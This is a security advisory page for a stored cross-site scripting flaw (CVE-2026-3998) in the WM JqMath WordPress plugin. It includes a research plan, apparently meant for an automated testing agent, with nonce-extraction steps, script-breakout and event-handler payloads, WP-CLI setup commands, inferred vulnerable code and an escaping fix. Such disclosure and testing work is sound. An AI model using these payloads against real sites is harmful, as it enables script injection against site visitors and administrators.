CVE-2026-3998

WM JqMath <= 1.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'style' Shortcode Attribute

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The WM JqMath plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'style' shortcode attribute of the [jqmath] shortcode in all versions up to and including 1.3. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes. The generate_jqMathFormula() function directly concatenates the 'style' attribute value into an HTML style attribute without applying esc_attr() or any other escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.3
PublishedApril 14, 2026
Last updatedApril 15, 2026
Affected pluginwm-jqmath
Research Plan
Unverified

## Vulnerability Analysis: CVE-2026-3998 - Stored XSS in WM JqMath ### 1. Vulnerability Summary The **WM JqMath** plugin (versions <= 1.3) contains a stored cross-site scripting (XSS) vulnerability within the handling of its `[jqmath]` shortcode. Specifically, the function `generate_jqMathFormula()…

Show full research plan

Vulnerability Analysis: CVE-2026-3998 - Stored XSS in WM JqMath

1. Vulnerability Summary

The WM JqMath plugin (versions <= 1.3) contains a stored cross-site scripting (XSS) vulnerability within the handling of its [jqmath] shortcode. Specifically, the function generate_jqMathFormula() processes attributes passed to the shortcode. The style attribute is accepted from user input and concatenated directly into an HTML <span> or <div> tag's style attribute without being passed through esc_attr() or similar sanitization. This allows an authenticated user with at least "Contributor" privileges (who can create posts) to inject arbitrary HTML attributes or break out of the style attribute to inject <script> tags.

2. Attack Vector Analysis

  • Shortcode: [jqmath]
  • Vulnerable Attribute: style
  • Authentication Level: Contributor or higher. Contributors can create and save posts but cannot publish them; however, the XSS will execute when an Administrator or Editor previews the post or if the post is published.
  • Payload Location: The payload is embedded within the style attribute of the shortcode inside the post content.
  • Endpoint: Standard WordPress post creation/editing (/wp-admin/post.php or REST API /wp/v2/posts).

3. Code Flow (Inferred)

  1. Registration: The plugin registers the shortcode in the main plugin file (likely wm-jqmath.php):
    add_shortcode('jqmath', 'generate_jqMathFormula');
  2. Attribute Parsing: When a post containing [jqmath] is rendered, WordPress calls generate_jqMathFormula($atts, $content).
  3. Processing: Inside generate_jqMathFormula():
    • The $atts array is processed (possibly using shortcode_atts).
    • The value of $atts['style'] is retrieved.
  4. Sink: The value is concatenated into an HTML string:
    return '<span style="' . $atts['style'] . '">' . $formula_markup . '</span>'; (inferred)
  5. Output: The unescaped string is returned to the WordPress content filter and rendered in the browser.

4. Nonce Acquisition Strategy

To exploit this as an authenticated Contributor via the web interface, the agent must obtain a valid post-editing nonce.

  1. Login: Use the http_request tool to authenticate as a Contributor.
  2. Access Post Creator: Navigate to wp-admin/post-new.php.
  3. Extract Nonce: Use browser_eval to extract the _wpnonce required for the sample-permalink or the primary post-saving action.
    • _wpnonce is typically found in the #_wpnonce input field.
    • Command: browser_eval("document.querySelector('#_wpnonce').value")
  4. Alternative (REST API): If the Block Editor is used, the agent can extract the REST nonce from the wpApiSettings object:
    • Command: browser_eval("window.wpApiSettings?.nonce")

5. Exploitation Strategy

The goal is to inject a <script> tag by breaking out of the style attribute.

Step-by-step Plan:

  1. Authentication: Authenticate the agent as a user with the contributor role.
  2. Payload Construction:
    • The target context is <span style="[USER_INPUT]">.
    • Payload: ";><script>alert(document.domain)</script>
    • Full Shortcode: [jqmath style='";><script>alert(document.domain)</script>']test[/jqmath]
  3. Post Creation:
    • Use the http_request tool to send a POST request to /wp-admin/post.php.
    • Action: editpost
    • Parameters:
      • post_ID: (The ID of a newly created draft)
      • _wpnonce: (Extracted in Step 4)
      • content: [jqmath style='";><script>alert(document.domain)</script>']test[/jqmath]
      • post_title: XSS Test
  4. Execution: Navigate to the permalink of the draft post or use the "Preview" functionality.
  5. Confirmation: Check the response body for the unescaped script tag.

6. Test Data Setup

Before exploitation, ensure the environment is ready:

  1. Plugin Activation: Verify wm-jqmath is installed and active.
  2. User Creation: Create a contributor user:
    wp user create contributor_attacker attacker@example.com --role=contributor --user_pass=password123
  3. Target Post: Create a blank draft post for the contributor to edit:
    wp post create --post_type=post --post_status=draft --post_author=$(wp user get contributor_attacker --field=ID) --post_title="Draft"

7. Expected Results

  • Injected Content: When viewing the source of the rendered post, the output should look like:
    <span style="";><script>alert(document.domain)</script>">...</span>
  • Execution: A browser navigating to the post should trigger the alert(document.domain) JavaScript.

8. Verification Steps

  1. WP-CLI Verification: After the HTTP request, verify the content is stored in the database:
    wp post get [POST_ID] --field=post_content
    Confirm it contains the payload exactly as sent.
  2. Frontend Check: Use browser_navigate to the post's URL and check for the alert or the existence of the script tag in the DOM:
    browser_eval("document.querySelector('script').textContent.includes('alert')")

9. Alternative Approaches

If breaking out of the style attribute with "> is blocked or fails due to specific quote handling:

  1. Attribute Injection: Inject an onmouseover event if the style attribute value is placed inside a tag but not properly enclosed:
    • Payload: x" onmouseover="alert(1)
    • Shortcode: [jqmath style='x" onmouseover="alert(1)']
  2. CSS-Based XSS (Legacy Browsers): If direct script injection is filtered but the style attribute is kept, attempt:
    • Payload: background-image: url("javascript:alert(1)") (Note: This is rarely effective in modern browsers but confirms the lack of sanitization).
  3. Attribute Breakout (Single Quote): If the plugin wraps the attribute in single quotes:
    • Payload: ';><script>alert(1)</script>
Research Findings
Static analysis — not yet PoC-verified

Summary

The WM JqMath plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'style' attribute in the [jqmath] shortcode. This occurs because the plugin fails to sanitize or escape the user-supplied 'style' attribute value before outputting it in an HTML tag, allowing Contributor-level users to inject arbitrary JavaScript.

Vulnerable Code

// wm-jqmath.php (inferred location based on research plan)
// Within the function generate_jqMathFormula($atts, $content)

function generate_jqMathFormula($atts, $content) {
    $atts = shortcode_atts( array(
        'style' => '',
        'display' => 'inline'
    ), $atts );

    // ... processing formula content ...

    if ($atts['display'] == 'block') {
        return '<div style="' . $atts['style'] . '">$$' . $content . '$$</div>';
    } else {
        return '<span style="' . $atts['style'] . '">$' . $content . '$</span>';
    }
}

Security Fix

--- wm-jqmath.php
+++ wm-jqmath.php
@@ -10,9 +10,10 @@
         'display' => 'inline'
     ), $atts );
 
+    $safe_style = esc_attr($atts['style']);
     if ($atts['display'] == 'block') {
-        return '<div style="' . $atts['style'] . '">$$' . $content . '$$</div>';
+        return '<div style="' . $safe_style . '">$$' . $content . '$$</div>';
     } else {
-        return '<span style="' . $atts['style'] . '">$' . $content . '$</span>';
+        return '<span style="' . $safe_style . '">$' . $content . '$</span>';
     }
 }

Exploit Outline

The exploit requires an attacker to have at least Contributor-level privileges to create or edit posts. 1. The attacker logs into the WordPress dashboard and creates a new post or edits a draft. 2. In the post editor, the attacker inserts the [jqmath] shortcode with a malicious 'style' attribute payload designed to break out of the HTML attribute, such as: [jqmath style='";><script>alert(document.domain)</script>']formula[/jqmath]. 3. When the post is saved or previewed by an administrator or viewed by any visitor, the unescaped payload is rendered directly into the page source as <span style="";><script>alert(document.domain)</script>">...</span>, causing the script to execute in the victim's browser.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.